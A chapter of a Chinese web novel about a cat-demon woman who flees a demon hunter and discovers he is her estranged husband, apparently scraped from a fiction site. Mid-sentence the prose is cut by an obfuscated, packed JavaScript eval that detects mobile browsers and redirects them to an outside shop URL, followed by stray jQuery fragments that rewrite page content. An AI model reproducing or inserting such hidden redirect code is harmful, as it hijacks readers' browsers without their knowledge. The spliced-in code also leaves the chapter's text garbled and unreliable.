文趣网 > 其他小说 > 妖猫夫人 > 47. 第 47 章
    夜半时,火渐熄。

    余清和身上的布条尽散,她轻巧落回地面,看向睡在树根旁的谢妄知。

    身上的刺还未收起,那是她的妖力所化。

    无论是不是什么“血祭”,反正她是用出来了。

    谢妄知还说“砍断爪子”,就会说些大话,她现在把这些符纸全都搅碎,无事发生。

    嘴里的伤口正在愈合,她走向谢妄知,被削平的利爪重新长出。她没发出一点声响,见谢妄知隐约有些皱眉,迅速散了周身妖力。

    谢妄知像是被魇住,呼吸不畅,手里紧紧握着他那把刀。

    「为什么要抓我去启州呢?」她目光从他脸上移开,算了,不重要,希望再也不要见到。

    余清和以为他会醒,但是没有。

    她伸爪勾出自己的藤环,带出了一个小瓷瓶。

    这是谢妄知的药吗?

    余清和毫不犹豫,一脚将其蹬进了火炭中,跃入夜色。

    谢妄知要是病死了,可不算是她杀的,实为天命也。

    瓷瓶在炭火中爆裂,谢渔猛得睁开眼睛,以手撑地站起身。

    树枝上空空如也,他看见被割裂散落的布条。

    伸手在衣里一摸,少了些东西。

    “果然是装的。”谢渔身侧浮起一张青符,散出微光。

    地上同色亮起粉尘,形似爪印。

    他睡前设的小型护守阵,这只猫妖穿行如无物。谢渔抬手收回四处的阵木,看着眼前零星的印记,放出几张形符顺着印记先行。

    她到底是怎么做到的?

    怎么闯进层层防护的谢府,又是怎么没发出一点动静,从这个阵法中逃出?

    形符所化流光总是失去方向,撞碎在树枝草丛。

    谢渔不记得自己有画过这样废物的东西,叠着几张隐符从流光碎火中走过。他仔细看了形符上的符痕,没有异常,不是他的问题。

    一线红金在他身前撞碎,他终于发现了端倪。

    一根断裂的短毛。

    只是那只猫妖的毛。

    谢渔扬手将猫毛挥向一边,这形符怎么变得这么蠢了?

    前方隐隐有火光,他放慢脚步,抬手微拂开挡在面前一人高的灌木叶,竟然看见在城中见过的那只蛇妖。

    蓝白羽衣的女子手里拿着一根带火苗的木头,照清了蛇妖的脸。

    “...你说那个捉妖师追来了?这不是很危险吗!等白天再看吧,清和...”蛇妖目光始终落在另一个地方。

    可恶的猫妖。

    谢渔没料到只是听见猫妖用着清和的名字,就会这么生气,热血上涌有些头疼。

    他正要出去,打它们一个措手不及。除了那只猫,其他妖全都没有活着的必要,让那只猫妖看着自己的同伴在自己面前惨烈而死,他或许才气消。

    等他解开和猫妖那莫名的联系,把它的皮毛鞣制做成物件送给清和,她要是不喜欢,就直接烧了。他会送她更喜欢的东西。

    洞穴另一侧走出个身着淡彩衣裳的女子,袖边领口都绣着粉荷绿莲,谢渔瞳孔一缩,微微向后挪动。

    余清和一只手拿着山墨调制的药膏,走到萧簌面前,手指托着他的下颚微抬,“张嘴我看看。”

    谢渔看见两人凑得极近,不自觉朝着旁边走,视线却从未从那女子身上移开。

    世上没有太多的巧合,也没有完全相像的两个人,他模糊的记忆被女子的脸补全。

    ...是清和吧。

    刚意识到,没有受伤,却有些地方泛起疼。

    余清和是在看萧簌的舌头,先前蛛毒的黑点已经变得浅淡,但若要好全,还要抹药,药沫涂在斑点处效果最佳。

    这位置属实尴尬,萧簌化原形看到自己舌头的样子又要吐。

    “清和。”

    茫茫黑夜中,余清和转头看向洞穴外。

    刚刚似乎听见了谢渔的声音。

    “好像有什么声音。”飞鸟目光游移,见药已经涂好,拿着火把在洞穴外走了一圈。

    余清和用树叶擦了手,看向洞穴外,眼中染上一丝忧。

    谢渔那单纯的家伙,不会也跟来了吧。

    随即有些烦心。

    真要是这样,那他可真会给她找麻烦。

    洞穴角落,山墨正捞开袖子,往自己手臂上盖上深绿的自制伤药。余清和本想帮他的,但犬妖非常倔强,什么都要自己做,坐在小小的几片树叶上,就着青狐丘上的山石草木,磨出伤药和解毒药。

    蛛毒原有两种,恰好他们两妖倒霉,两种都中了,所以完全解毒不仅要树妖的血,还需要草木所制的解药。

    余清和看着山墨面前石板上的药草碎,闻了闻气味。

    “我做了很多,可以给你点敷在手上。”山墨抬眼看她一眼,说完就垂下了眼。

    余清和蹲身从石板上拈了一搓,却没往自己擦红的手腕上抹。她看向山墨,发现他好像故意躲着自己似的,头总是低着。

    “青狐丘没有你要的东西了,我把魂石打碎了。”余清和说完起身。

    “我不是来找魂石的。”山墨忽然开口,他用原来缠在手上的血布重新将伤处缠住,仍旧没有抬头,“十二宫主在炼妖境选出,传闻狐宫宫主出炼妖境时,带出了一块基石。只要悟明其中秘密,妖力就不再受修行年岁限制。我是来找这块基石的。”

    余清和更不知什么基石,听上去是个宝物。药草碎被她握在手心,她问:“你知道,蛛宫说青月狐族偷了什么吗?”

    山墨抱膝靠在山洞墙壁,脸颊压在膝上,看向别处,说:“这个我不知道,蛛宫都是一群残暴的骗子,经常说被偷了东西然后攻击别的妖族,没妖会信他们的话。”

    萧簌暂时说不了话,坐在火堆旁边添柴,顺带看着余清和与山墨,一双眼睛忽而睁大,一会又陷入思考。

    山墨看上去很累,余清和不再问他,攥着手里的东西出了洞穴。

    碰上化为原形的飞鸟飞到肩上,她说:“我就出去一会。”

    她没指望会找到另外的人,只是心上有根弦绷着。反正她现在是人形,身上也没有妖气,就算谢妄知看到她,也会觉得她就是余清和。

    除非谢妄知是个疯子,非要砍她两刀。

    退一步,她可以假装自己是伪装成余清和的猫妖。

    到底是怎么变成这样的?她竟然要假装是自己?

    余清和细心听着周围的动静。怎么会听见谢渔的声音呢?他只是个普通人,干嘛搅进这浑水里?

    他要是真敢来,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17870320|212278||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    那...

    余清和一回想,谢渔本来胆子也不小。

    如果是她,谢渔消失了她会跟着别人去找他吗?

    余清和突然停下了脚步,舔过微干的嘴唇,在下唇轻轻印过一道齿痕。

    要是她还喜欢谢渔的话,她会去的吧。

    忽然被圈入一个熟悉的怀抱。

    余清和没动,草药味和熟悉感混在一起,脑海中瞬间闪过茨城阴暗的天,冰凉的雪,狂躁的风影。

    雪亮的刀刃斩过,谢府被淹没在滔天大火中。

    “...谢渔?”

    一个毛茸茸的头压在她颈窝,声音裹着微凉的湿意,“嗯。”

    刹那间气息瞬变,余清和推开身后的人,转过头瞥见那张被她数次称作“丑”的脸,是谢妄知。

    谢妄知就是谢渔!

    谢渔抓住她的手,跟得太急,竟然带着她一起摔在地上。

    “好重。”余清和腰上缠上来一条手臂,胸腹更是一重。

    谢渔埋头,环住她的腰。

    有些太紧了,叫人有些喘不过气,余清和的腿被压住,此时她更想变回原形,但一直没有成功。

    她迟早要被这妖力害死!

    忽而听见谢渔嗅闻的声音,余清和刚腾出手,就往他肩背上落拳,“你有病啊!”

    “你就打我吧,不要走。”谢渔蹭着余清和的衣服往上挪。

    蛞蝓爬上皮肤是凉的,谢渔却像漫过她身体的沸水,余清和像被火烧,着急脱身。

    谢渔的心跳压在余清和的心上,呼吸声混着潮湿,唇呼出的热汽落在余清和的颈间。

    “为什么要和我和离?”

    余清和两颊腾热,她的血像是被捂热,不得不烧红了脸。耳侧颈间湿漉漉一片,谢渔短促的吸气声和她们的呼吸混在一起。

    太过混乱,她感觉自己是在做梦。

    “不喜欢你了,我要和你和离,不,是我休了你!”余清和眉一皱,按着谢渔的肩膀将他往外推。怎料这人形瘦骨重,她的力气与之相较都单薄了,没推动。

    谢渔一口咬上触及的皮肉。

    刚见血,谢渔舌尖尝到血气,瞬间清醒,立马就后悔了,急忙松口起身。握住余清和刚砸在他身上的拳头,将人拉起,声音带着委屈,“清和...”

    余清和甩不掉他的手,眼里因痛盈出点点泪花。手贴上自己的脸,还是热得发烫,都是谢渔害的。

    现在还敢用那副假模样出现在自己面前!

    她还没说话,谢渔双手交握着她的手,拉向自己的脸,他低垂着眼,像明白自己做错了事,打湿的睫毛在她手上轻扫过细微水痕,“不要...休我..”

    余清和感觉他手中微松,抽出手,一巴掌打在他脸上,深绿药草碎在他侧脸炸开一片。

    声响太亮,她吓了一跳,泪光融成水珠被惊得掉出眼眶。

    “你是捉妖师。”

    谢渔回转过头,抬眼看向余清和。她才看清现在谢渔的模样,符纸映着青光,那双曾盈满笑意的眼睛里全是泪光。她手指微蜷,想要往后退,谢渔抬手只握住了她的手指。

    为什么看着他这么难过,自己也会难过呢?

    一眨眼,眼中谢渔定定看着她,长出三行蜿蜒的泪痕。